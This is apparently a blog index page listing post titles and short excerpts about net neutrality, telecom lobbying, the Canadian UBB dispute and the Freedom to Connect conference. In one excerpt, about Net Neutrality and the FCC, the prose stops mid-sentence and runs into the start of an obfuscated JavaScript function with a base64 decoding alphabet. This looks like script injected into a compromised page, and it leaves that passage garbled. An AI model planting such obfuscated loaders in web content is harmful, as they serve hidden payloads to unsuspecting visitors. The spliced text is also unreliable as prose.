F2C, the must-attend telecom policy conference


In 2009, I was lucky and flattered enough to be invited to speak at Freedom to Connect, the telecom policy organised in Washington

A slap in the face of Net Discrimination lobbyists

In the wake of AT Kearney's infamous report A Viable Future Model for the Internet, many analysts, journalists and activists pointed out

Net Neutrality is Good for Telcos

I was interviewed last Friday by dutch web newspaper Web Wereld about Net Neutrality. You are no doubt aware that the Netherlands

The UBB Deception exposed

The Canadian UBB scandal is still ongoing,

Internet Service Guarantees is What Net Neutrality (and consumers) Need

For a number of weeks I've been itching to write a piece on the revival of the so-called Net Neutrality proceedings by the US FCC. I stalled because I wanted to read Chairman Genachowski's remarks on function a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var

Arroseur Arrosé…

L'Arroseur Arrosé was one of the first ever movies to be filmed and shown in cinemas by the Lumière brothers in 1895.

The Slow Suicide of Net Discrimination

The whole net neutrality debate is heating up again, both in Europe and the US. As usual, the positions are quite clear: application